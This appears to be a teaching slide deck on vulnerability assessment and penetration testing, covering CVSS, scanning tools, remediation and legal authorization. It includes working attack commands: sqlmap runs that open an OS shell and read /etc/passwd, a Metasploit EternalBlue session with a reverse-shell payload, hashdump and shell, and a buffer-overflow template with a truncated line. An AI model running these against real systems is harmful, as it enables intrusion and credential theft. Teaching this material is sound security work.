Vulnerability Scanning and Exploitation

Identifying and Exploiting System Weaknesses

Comprehensive Security Assessment and Penetration Testing

Vulnerability Assessment Overview

Vulnerability Assessment: The systematic identification, analysis, and evaluation of security weaknesses in systems, networks, and applications to determine potential attack vectors and security risks.

Core Components:

Discovery: Identifying systems, services, and applications
Scanning: Automated vulnerability detection
Analysis: Evaluating vulnerability severity and impact
Prioritization: Risk-based vulnerability ranking
Reporting: Comprehensive findings documentation
Remediation: Providing fix recommendations

Purpose: Enable organizations to proactively identify and address security weaknesses before they can be exploited by attackers

Vulnerability vs Exploit

Vulnerability:

Definition: A weakness or flaw in a system
Nature: Passive security gap
Examples: Missing patches, misconfigurations
Discovery: Through scanning and analysis
Risk: Potential for compromise
Action: Requires identification and remediation

Exploit:

Definition: Code or technique that leverages vulnerability
Nature: Active attack mechanism
Examples: Malware, attack scripts, techniques
Discovery: Through research and development
Risk: Actual compromise execution
Action: Used to gain unauthorized access

Relationship Example:
Vulnerability: Unpatched Apache Struts framework (CVE-2017-5638)
Exploit: Malicious HTTP request exploiting deserialization flaw
Impact: Remote code execution on vulnerable web application

Vulnerability Types and Classifications

Software Vulnerabilities:

Buffer overflow attacks
SQL injection flaws
Cross-site scripting (XSS)
Authentication bypass
Privilege escalation
Input validation errors

Network Vulnerabilities:

Open ports and services
Protocol weaknesses
Default credentials
Weak encryption
Network misconfigurations
Unsecured communications

System Vulnerabilities:

Missing security patches
Weak access controls
System misconfigurations
Kernel vulnerabilities
Service account issues
File system permissions

Severity Classifications:

Critical (9.0-10.0): Immediate exploitation risk, system compromise
High (7.0-8.9): Significant risk, potential for major impact
Medium (4.0-6.9): Moderate risk, limited impact
Low (0.1-3.9): Minor risk, minimal impact
Informational (0.0): No direct security impact

Common Vulnerability Scoring System (CVSS)

CVSS: Industry standard framework for rating the severity of security vulnerabilities, providing quantitative severity scores from 0.0 to 10.0.

Base Metrics:

Attack Vector (AV): Network, Adjacent, Local, Physical
Attack Complexity (AC): Low, High
Privileges Required (PR): None, Low, High
User Interaction (UI): None, Required
Scope (S): Unchanged, Changed
Impact: Confidentiality, Integrity, Availability

Temporal and Environmental:

Exploit Code Maturity: Proof-of-concept availability
Remediation Level: Patch availability
Report Confidence: Verification level
Modified Base Metrics: Environment-specific adjustments
Collateral Damage: Secondary impact
Target Distribution: System prevalence

CVSS Score Example:
CVE-2017-0144 (EternalBlue/WannaCry)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score: 9.3 (Critical)
Vector: Network accessible, Low complexity, No privileges required

Vulnerability Scanning Process

Systematic Approach: Vulnerability scanning follows a structured methodology to ensure comprehensive coverage and accurate results.

Scanning Workflow:

1. Planning and Preparation:
• Define scope and objectives
• Identify target systems and networks
• Obtain necessary authorizations
• Select appropriate scanning tools
• Schedule scanning activities

2. Discovery and Asset Identification:
• Network discovery and host enumeration
• Port scanning and service detection
• Operating system fingerprinting
• Application and service version identification
• Asset inventory creation

3. Vulnerability Detection:
• Automated vulnerability scanning
• Signature-based detection
• Behavioral analysis
• Configuration assessment
• Patch level verification

4. Analysis and Validation:
• False positive elimination
• Vulnerability verification
• Risk assessment and prioritization
• Impact analysis
• Exploitability evaluation

5. Reporting and Remediation:
• Comprehensive vulnerability reports
• Risk-based prioritization
• Remediation recommendations
• Executive and technical summaries
• Tracking and follow-up procedures

Vulnerability Scanning Tools

Commercial Scanners:

Nessus: Comprehensive vulnerability scanner
Qualys VMDR: Cloud-based vulnerability management
Rapid7 Nexpose: Vulnerability risk management
IBM Security AppScan: Application security testing
Veracode: Application security platform

Open Source Tools:

OpenVAS: Full-featured vulnerability scanner
Nikto: Web server security scanner
OWASP ZAP: Web application security testing
Nuclei: Fast and customizable scanner
Lynis: Security auditing and compliance

Specialized Scanners:

Nmap: Network discovery and security auditing
SQLmap: SQL injection detection and exploitation
Burp Suite: Web application security testing
Metasploit: Penetration testing framework
Acunetix: Web application vulnerability scanner

Tool Selection Criteria:

Scope Coverage: Network, web, database, mobile capabilities
Accuracy: Low false positive rates
Performance: Scanning speed and resource efficiency
Reporting: Comprehensive and actionable reports
Integration: API and third-party tool compatibility
Cost: Licensing and operational expenses

OpenVAS Configuration and Usage

OpenVAS: Open source vulnerability assessment system providing comprehensive vulnerability testing and management capabilities.

OpenVAS Installation and Setup:

# Install OpenVAS on Kali Linux
sudo apt update
sudo apt install openvas

# Setup and configure OpenVAS
sudo gvm-setup
sudo gvm-check-setup

# Start OpenVAS services
sudo gvm-start

# Access web interface
https://localhost:9392

# Create scan target
• Navigate to Configuration → Targets
• Click "New Target" icon
• Enter target name and hosts
• Configure credentials if needed

# Create and run scan
• Go to Scans → Tasks
• Click "New Task" icon
• Select scan config and target
• Start the scan task

# Review results
• Monitor scan progress
• View detailed vulnerability reports
• Export reports in various formats
• Generate executive summaries

Nessus Professional Scanning

Nessus: Industry-leading vulnerability scanner with extensive plugin library and advanced scanning capabilities.

Nessus Setup and Scanning:

# Download and install Nessus
wget https://www.tenable.com/downloads/nessus
sudo dpkg -i Nessus-x.x.x-debian6_amd64.deb

# Start Nessus service
sudo systemctl enable nessusd
sudo systemctl start nessusd

# Access web interface
https://localhost:8834

# Create new scan
• Select scan template (Basic Network Scan, Web Application Tests)
• Configure scan settings and targets
• Set credentials for authenticated scanning
• Schedule or launch scan immediately

# Advanced scan configurations
• Custom scan policies
• Plugin family selection
• Performance tuning
• Compliance auditing
• Credentialed vs. non-credentialed scans

# Results analysis
• Vulnerability severity distribution
• Host-based vulnerability details
• Plugin output and solutions
• Executive dashboard reports
• Remediation project creation

Web Application Vulnerability Scanning

Web App Security: Specialized scanning techniques for identifying vulnerabilities in web applications and services.

OWASP ZAP Usage:

Proxy Setup: Configure browser proxy
Spider/Crawl: Discover application structure
Active Scan: Automated vulnerability detection
Manual Testing: Interactive security testing
API Testing: REST/SOAP service scanning
Authentication: Session-based testing

Nikto Web Scanner:

Server Scanning: Web server vulnerability detection
CGI Scanning: Common Gateway Interface testing
SSL Testing: Certificate and configuration analysis
Database: Comprehensive vulnerability database
Reporting: Multiple output formats
Plugins: Extensible test framework

Web Application Scanning Commands:

# Nikto web server scanning
nikto -h http://target.com
nikto -h https://target.com -ssl -port 443
nikto -h target.com -output report.html -Format htm

# OWASP ZAP automated scanning
zap-baseline.py -t http://target.com
zap-full-scan.py -t http://target.com

# Dirb directory enumeration
dirb http://target.com
dirb http://target.com /usr/share/wordlists/dirb/big.txt

# Gobuster directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

Database Vulnerability Assessment

Database Security: Specialized techniques for identifying vulnerabilities in database systems and configurations.

Database Scanners:

SQLmap: SQL injection detection and exploitation
NoSQLMap: NoSQL injection testing
Oscanner: Oracle database assessment
BBQSQL: Blind SQL injection framework
jSQL Injection: Java-based SQL injection tool

Database Vulnerabilities:

SQL injection vulnerabilities
Default or weak passwords
Missing security patches
Excessive user privileges
Unencrypted data transmission
Weak authentication mechanisms

Testing Techniques:

Automated injection testing
Authentication bypass attempts
Privilege escalation testing
Data extraction verification
Configuration assessment
Access control validation

SQLmap Usage Examples:

# Basic SQL injection testing
sqlmap -u "http://target.com/page.php?id=1"

# POST request testing
sqlmap -r request.txt --batch

# Database enumeration
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
sqlmap -u "http://target.com/page.php?id=1" -D database -T table --dump

# Advanced techniques
sqlmap -u "http://target.com/page.php?id=1" --os-shell
sqlmap -u "http://target.com/page.php?id=1" --file-read=/etc/passwd

Vulnerability Exploitation Process

Exploitation: The process of leveraging identified vulnerabilities to gain unauthorized access or demonstrate security impact.

Exploitation Methodology:

1. Vulnerability Verification:
• Confirm vulnerability existence
• Validate scanner findings
• Eliminate false positives
• Assess exploitability

2. Exploit Research and Development:
• Search for existing exploits
• Analyze vulnerability details
• Develop proof-of-concept code
• Test exploit reliability

3. Exploit Execution:
• Prepare target environment
• Execute exploit payload
• Verify successful exploitation
• Document exploitation process

4. Post-Exploitation Activities:
• Establish persistent access
• Escalate privileges
• Gather evidence of compromise
• Assess lateral movement opportunities

5. Impact Documentation:
• Capture exploitation evidence
• Document business impact
• Create remediation timeline
• Prepare executive briefing

Metasploit Exploitation Framework

Metasploit: Comprehensive penetration testing platform providing exploit development, execution, and post-exploitation capabilities.

Metasploit Exploitation Workflow:

# Start Metasploit console
msfconsole

# Search for exploits
msf6 > search cve:2017-0144
msf6 > search type:exploit platform:windows smb

# Select and configure exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100

# Configure payload
msf6 exploit(ms17_010_eternalblue) > show payloads
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

# Execute exploit
msf6 exploit(ms17_010_eternalblue) > check
msf6 exploit(ms17_010_eternalblue) > exploit

# Post-exploitation commands
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
meterpreter > screenshot
meterpreter > shell

Manual Exploitation Techniques

Buffer Overflow Exploitation:

Vulnerability Analysis: Identify buffer overflow conditions
Fuzzing: Generate malicious input patterns
Offset Calculation: Determine EIP overwrite point
Shellcode Development: Create payload execution code
Exploit Chaining: Bypass modern protections

Web Exploitation:

SQL Injection: Database query manipulation
XSS Exploitation: Client-side code injection
CSRF Attacks: Cross-site request forgery
File Upload: Malicious file execution
Authentication Bypass: Login mechanism circumvention

Network Service Exploitation:

Service Enumeration: Detailed service fingerprinting
Protocol Attacks: Network protocol vulnerabilities
Default Credentials: Weak authentication exploitation
Service Exploits: Application-specific vulnerabilities
Privilege Escalation: Local and remote privilege elevation
Lateral Movement: Network propagation techniques

Exploit Development Fundamentals

Exploit Development: The process of creating reliable code that leverages vulnerabilities to achieve specific security objectives.

Development Tools:

Debuggers: GDB, WinDbg, Immunity
Disassemblers: IDA Pro, Ghidra, Radare2
Fuzzers: AFL, Peach, Spike
Hex Editors: HxD, Bless, xxd
Compilers: GCC, MSVC, NASM

Exploit Components:

Trigger: Vulnerability activation code
Payload: Code executed after exploitation
NOP Sled: Instruction padding for reliability
Return Address: Control flow redirection
Shellcode: Assembly payload instructions

Protection Bypasses:

ASLR: Address Space Layout Randomization
DEP/NX: Data Execution Prevention
Stack Canaries: Stack overflow protection
Control Flow Integrity: CFI bypasses
SMEP/SMAP: Kernel protection mechanisms

Basic Buffer Overflow Exploit Structure:

#!/usr/bin/python3
import struct

# Buffer overflow exploit template
buffer_size = 1024
offset = 268 # EIP overwrite offset

# Shellcode (example: reverse shell)
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")

# Return address (JMP ESP or RET instruction)
ret_addr = struct.pack("
# Construct exploit payload
padding = b"A" * (offset - len(shellcode))
exploit = padding + shellcode + ret_addr

print(f"Exploit payload length: {len(exploit)}")

Post-Exploitation Activities

Post-Exploitation: Activities performed after successful exploitation to maximize impact assessment and demonstrate security risks.

Information Gathering:

System Information: OS, architecture, patches
User Accounts: Local and domain users
Network Configuration: Interfaces, routes, services
Installed Software: Applications and versions
Running Processes: Active services and applications
File System: Sensitive files and directories

Privilege Escalation:

Local Exploits: Kernel and application vulnerabilities
Misconfiguration: Weak file permissions
Service Accounts: High-privilege service abuse
Scheduled Tasks: Task hijacking techniques
Registry Manipulation: Windows registry abuse
Sudo/SUID: Unix privilege escalation

Persistence and Lateral Movement:

Backdoor Installation: Persistent access mechanisms
Credential Harvesting: Password and hash collection
Network Pivoting: Internal network exploration
Lateral Movement: Spreading to additional systems
Data Exfiltration: Sensitive information extraction
Covert Channels: Stealthy communication methods

Vulnerability Management Lifecycle

Continuous Process: Vulnerability management is an ongoing cycle of identification, assessment, remediation, and verification.

VM Lifecycle Phases:

1. Asset Discovery and Inventory:
• Network asset identification
• Service and application mapping
• Asset categorization and prioritization
• Inventory database maintenance

2. Vulnerability Assessment:
• Regular automated scanning
• Manual security testing
• Threat intelligence integration
• Risk-based vulnerability scoring

3. Risk Analysis and Prioritization:
• Business impact assessment
• Exploitability evaluation
• Asset criticality weighting
• Remediation timeline planning

4. Remediation and Mitigation:
• Patch management deployment
• Configuration hardening
• Compensating controls implementation
• Emergency response procedures

5. Verification and Reporting:
• Remediation validation scanning
• Risk reduction measurement
• Executive reporting and dashboards
• Compliance verification

6. Continuous Monitoring:
• Real-time vulnerability detection
• Threat landscape monitoring
• Process improvement
• Lessons learned integration

Vulnerability Remediation Strategies

Elimination:

Apply security patches
Update software versions
Remove vulnerable services
Disable unused features
Replace vulnerable systems
Code fixes for custom applications

Mitigation:

Network segmentation
Access control restrictions
Web Application Firewalls (WAF)
Intrusion Prevention Systems
Configuration hardening
Monitoring and alerting

Acceptance:

Business risk acceptance
Cost-benefit analysis
Compensating controls
Insurance coverage
Regular reassessment
Incident response preparation

Prioritization Framework:

Critical Assets First: Protect high-value systems
Exploit Availability: Address publicly available exploits
CVSS Scores: Focus on high-severity vulnerabilities
Attack Surface: Prioritize external-facing systems
Business Impact: Consider operational dependencies
Compliance Requirements: Meet regulatory obligations

Legal and Ethical Considerations

Responsible Testing: Vulnerability scanning and exploitation must be conducted within legal and ethical boundaries with proper authorization.

Legal Requirements:

Written Authorization: Explicit permission from system owners
Scope Definition: Clear testing boundaries and limitations
Data Protection: Privacy and confidentiality safeguards
Incident Procedures: Emergency response protocols
Evidence Handling: Proper documentation and chain of custody

Ethical Guidelines:

Minimal Impact: Avoid system damage or disruption
Responsible Disclosure: Timely vulnerability reporting
Professional Conduct: Industry standards compliance
Confidentiality: Protect sensitive information
Continuous Education: Stay current with best practices

Best Practices:

Staging Environments: Test in non-production systems when possible
Time Windows: Schedule testing during maintenance windows
Communication: Maintain regular stakeholder updates
Documentation: Keep detailed records of all activities
Professional Insurance: Maintain liability coverage
Regulatory Compliance: Adhere to industry-specific requirements

Key Takeaways

Vulnerability assessment is a systematic process requiring proper tools and methodology
CVSS scoring provides standardized vulnerability severity assessment
Multiple scanning tools are needed for comprehensive vulnerability coverage
Manual validation is essential to eliminate false positives
Exploitation demonstrates real-world impact and risk
Post-exploitation activities reveal full security impact
Vulnerability management is an ongoing lifecycle process
Legal authorization and ethical guidelines must always be followed

Remember: Vulnerability scanning and exploitation are powerful techniques that must be used responsibly with proper authorization to improve organizational security

Thank You

Questions & Discussion

Next: Types of Attacks and Attackers